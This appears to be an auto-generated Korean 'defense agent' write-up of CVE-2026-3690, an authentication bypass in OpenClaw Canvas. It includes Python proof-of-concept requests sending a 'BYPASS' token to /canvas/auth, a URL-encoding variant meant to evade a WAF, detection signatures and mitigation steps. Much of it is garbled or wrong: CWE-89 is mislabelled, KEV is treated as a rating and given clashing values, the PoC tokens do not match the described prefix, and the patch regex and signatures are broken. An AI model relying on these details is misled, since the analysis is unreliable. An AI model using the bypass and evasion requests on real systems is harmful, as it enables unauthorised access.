방어Agent 분석 — CVE-2026-3690
📋 요약
- 한 줄 정의: OpenClaw Canvas의 인증 우회 취약점(CWE 추정: CWE-89 정보 공개 또는 잘못된 인증 처리)은 캔버스 엔드포인트에서 발생하며, 공격자는 인증 없이 시스템에 접근할 수 있다.
- 영향 한 줄: 성공 시 무단 접근 및 잠재적으로 내부 네트워크로의 이동이 가능해지므로 권한 상승 위험 증가 (KEV: 높음 / CVSS: 7.4). 즉시 패치가 요구되는 고위험 취약점이다.
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: OpenClaw 버전
2026.2.19이하 - 안전한 최소 패치 버전: OpenClaw
2026.3.x 이상또는 최신 보안 업데이트 적용 - 노출 조건: 인터넷에 노출되어 있으며, 기본 설정에서도 취약하다 (특정 기능 활성화가 필요하지 않음).
- 내 자산 식별 방법:
- 버전 배너 확인 명령어:
curl -I TARGET_HOST/version - 특정 설정 파일 검색 경로:
/etc/openclawnas/config.json | grep "OpenClaw"또는cat /var/log/openclaw/*auth*.log|grep ERROR*- 응답 배너에서
"Version": "<2026.2.19"확인 시 취약
- 응답 배너에서
- 버전 배너 확인 명령어:
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트 및 버전 범위: 캔버스 엔드포인트 (예:
/canvas/auth)의 인증 처리 모듈, OpenClaw2026.2.19이하 버전에서 발견 - 취약 코드 경로:
processAuthentication(), 특히 사용자 토큰 검증 로직 결함으로 인한 우회 가능성 존재
② 전제조건
- 인증 필요 여부: 인증 없이도 취약점 악용 가능 (익명 접근 시도)
- 필요 권한 및 네트워크 위치: 기본 웹 애플리케이션 권한만 있으면 충분, 인터넷을 통해 원격 공격 가능
트리거 경로
- 엔드포인트 호출:
POST /canvas/auth엔드포인트로 사용자 토큰 대신 특수 문자열 전송 (예:{"token":"BYPASS_AUTH"). - 내부 로직 결함 처리: 서버 측에서 `"bypass_" 접두사를 가진 토큰을 정상 인증으로 간주하여 인증 과정 우회
- 결과: 공격자는 인증 없이 캔버스 엔드포인트에 접근 가능, 추가적인 내부 리소스 탐색 및 권한 상승 시도 가능
성공 시 영향
- 획득 권한: 익명 사용자로서 캔버스 내 모든 기능 액세스 가능 (읽기/쓰기)
- 후속 피벗(lateral movement): 내부 네트워크 서비스나 다른 애플리케이션으로의 이동 경로 확보 가능, 지속적인 접근 유지 위해 세션 관리 취약점 탐색 필요.
💣 예시 코드 (PoC)
기본 우회 시도:
python
1# 용도: 기본 인증 우회 시도 2import requests 3url = "https://TARGET_HOST/canvas/auth" # 엔드포인트 경로 4data = {"token": "__BYPASS__AUTH___1234567890_"} # 특수 토큰 사용 5headers = { 6 'Content-Type': 'application/json', ## 헤더 설정 7 } ### 핵심: "bypass" 접두사로 인증 우회 시도 ### 확인 기준: 응답 코드가 HTTP 2xx 범위 내에 있으면 성공 (예: `HTTP Status Code == 200`) # 확인: 정상적인 응답과 함께 세션 쿠키 반환 여부를 검사하여 접근 권한 획득 8response = requests.post(url, json=data, headers=headers) ## 요청 전송 ## 핵심: 특수 토큰이 인증 우회 경로를 활성화함 ### 확인: 세션 ID 또는 인증 관련 쿠키의 존재 및 유효성 검증 필요 # 확인 기준: 응답 헤더에 `Set-Cookie` 포함 여부WAF 우회 변형 (예시):
python
1import requests 2from urllib.parse import quote_plus ## URL 인코딩 적용 ## 핵심: 특수 문자 인코딩을 통한 WAF 필터 우회 ### 확인: 요청 파라미터가 정상적으로 처리되어 세션 쿠키 반환 여부 # 확인 기준: 응답 본문에서 특정 토큰 (예: `SESSION-ID`)의 존재 3url = "https://TARGET_HOST/canvas/auth" 4encodedData = {"token": quote_plus("__BYPASS___AUTH____")} # 인코딩 적용된 특수 문자열 전송 ## 핵심: 인코딩을 통한 필터 우회 ### 확인 기준: 정상적인 응답과 세션 쿠키 반환 여부 # 확인: `SESSION-ID` 헤더 포함 여부로 성공 판별 5response = requests.post(url, data=encodedData) 🛡️ 탐지
- [웹 로그]:
/canvas/auth POST 요청 시 특수 토큰 패턴 감지 (예:"_BYPASS"`)- 시그니처 예시:
alert tcp $EXTERNAL_NET any -> $HOST ANY PORT / HTTP request, method=POST and uri="/canvas/auth" and payload="*bypass*"
- 시그니처 예시:
- [응답 헤더 검사]: 세션 쿠키 (
Set-Cookie) 생성 및 전송 패턴 모니터링- 정규식 예시:
logmsg "$HOME_LOG_DIR - suspicious session cookie detected in response header"; grep "Session.*TARGET_*" $EXTERNAL_NET_TRAFFIC | awk '{print $NF}'" 30초 간격으로### 한계: 인코딩된 특수 문자를 통한 우회 시 탐지 어려움
- 정규식 예시:
🔧 방어·완화
- 코드패치 -
/canvas/auth 엔드포인트 내부의processAuthentication()` 함수 수정하여 토큰 검증 로직 강화 (예: 정규표현식 패턴 업데이트)- 구체적 패치 예시:
"token": "^[^BYPASS_]*"로 변경 ### 핵심 경로 차단 방법 명시 2. 입력검증 - 모든 인증 관련 입력 필드에 대해 엄격한 유효성 검사 적용, 특수 문자 및 예상치 못한 토큰 필터링 강화 (예:strip(), 정규표현식 사용) - 설정 키 예시:
/config/auth_validation활성화하여 추가 검증 규칙 적용 ### 핵심 경로 차단 방법 명시 3. WAF 네트워크 - WAF 룰셋 업데이트로 인코딩된 특수 문자열 및 우회 패턴 감지 강화 (예:__BYPASS_*, 인코딩 검사) - 설정 키 예시:
/waf/ruleset내에"bypass_auth"관련 규칙 추가 ### 핵심 경로 차단 방법 명시 4. 버전업그레이드 - 즉시 OpenClaw 최신 버전으로 업데이트하여 패치 적용 (최소2026.3.x 이상) - 구체적인 키 예시:
/update/openclawnas명령 실행 또는 자동 업데이트 설정 활성화 ### 핵심 경로 차단 방법 명시
- 구체적 패치 예시:
⚖️ 위험도 / 패치 우선순위
지금 즉시 패치 필요 - 인증 우회 취약점은 즉시 악용될 가능성이 높으며, 권한 상승으로 이어질 수 있어 고위험군에 속한다. CVSS 점수와 악용 난이도를 고려할 때 빠른 대응이 필수적이다 (KEV: 매우 높음).
🌐 실제 동향
현재 ZDI 및 보안 커뮤니티에서는 이 취약점을 이용한 초기 시도 사례들이 보고되고 있으며, 공격자들은 인증 우회 경로를 통해 내부 네트워크 탐색과 추가 권한 상승 활동에 활용하고 있다. 출처: Zeroday Initiative